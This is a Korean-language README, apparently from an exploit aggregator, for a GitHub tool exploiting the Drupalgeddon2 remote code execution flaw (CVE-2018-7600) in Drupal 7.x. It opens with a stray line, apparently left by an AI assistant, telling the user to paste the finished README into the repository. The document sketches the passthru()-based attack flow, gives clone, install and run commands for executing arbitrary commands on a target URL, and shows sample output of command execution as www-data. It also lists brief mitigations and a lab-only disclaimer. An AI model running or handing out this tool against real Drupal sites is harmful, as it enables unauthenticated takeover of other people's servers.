Exploit for CVE-2018-7600

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-XXXTECTATIONXXX-CVE-2018-7600
자, 사용법 부분도 추가했습니다. `git clone`부터 시작해서 README가 완성됐습니다. 이게 최종 버전이니 GitHub 저장소의 `README.md`에 그대로 복사해서 붙여넣으세요.

# CVE-2018-7600 - Drupalgeddon2 RCE 익스플로잇

이 익스플로잇은 **Drupalgeddon2** 로 알려진 **Drupal 7.56** (및 일부 이전 버전)의 취약점을 이용합니다.  
이 취약점은 취약한 폼의 결함을 악용하여 인증 없이 **원격 코드 실행(RCE)**을 가능하게 합니다.

🔗 **저장소:** https://github.com/xxxTectationxxx/CVE-2018-7600

* * *

## ⚠️ 경고

이 스크립트는 **학습 목적** 및 **랩 환경 테스트** 를 위해서만 제작되었습니다.  
테스트할 공식 허가가 없는 시스템에서 사용하는 것은 금지됩니다.

* * *

## 🎯 대상 버전

  * 패치되지 않은 Drupal 7.x (7.56 포함)
  * 일부 초기 Drupal 8 버전에서도 작동할 수 있습니다.



* * *

## 📜 간단한 작동 방식

  1. `user/password` 엔드포인트에 PHP의 `passthru()` 함수를 트리거하는 매개변수가 포함된 페이로드를 전송합니다.
  2. 서버 응답에서 `form_build_id`를 추출합니다.
  3. 두 번째 요청을 보내 원하는 명령을 실행합니다.



* * *

## 📦 설치 및 사용법

저장소 클론:

root@kitploit:~
    
    
    git clone https://github.com/xxxTectationxxx/CVE-2018-7600.git
    cd CVE-2018-7600
    

의존성 설치:

root@kitploit:~
    
    
    pip install requests
    

익스플로잇 실행:

root@kitploit:~
    
    
    python3 drupalgeddon2.py --URL <target_url> --COMMAND "<command>"
    

예시:

root@kitploit:~
    
    
    python3 drupalgeddon2.py --URL http://192.168.60.129 --COMMAND "whoami"
    

## 💻 출력 예시

root@kitploit:~
    
    
    [*] 대상에 초기 페이로드 전송 중...
    [+] form_build_id 발견: form-ABC123XYZ
    [+] 명령 출력:
    www-data
    

* * *

## 🛡️ 완화 조치

  * Drupal을 최신 버전으로 업데이트하세요.
  * Drupal의 공식 보안 패치를 적용하세요.
  * 수정 과정 중 서버에 대한 접근을 제한하세요.



* * *

## 📚 참고 자료

  * Drupal 보안 권고 SA-CORE-2018-002
  * Exploit-DB 항목 #44449



* * *

**면책 조항:** 작성자는 이 스크립트의 오용에 대해 책임을 지지 않습니다. 현명하게 사용하고, 테스트가 허가된 시스템에서만 사용하세요.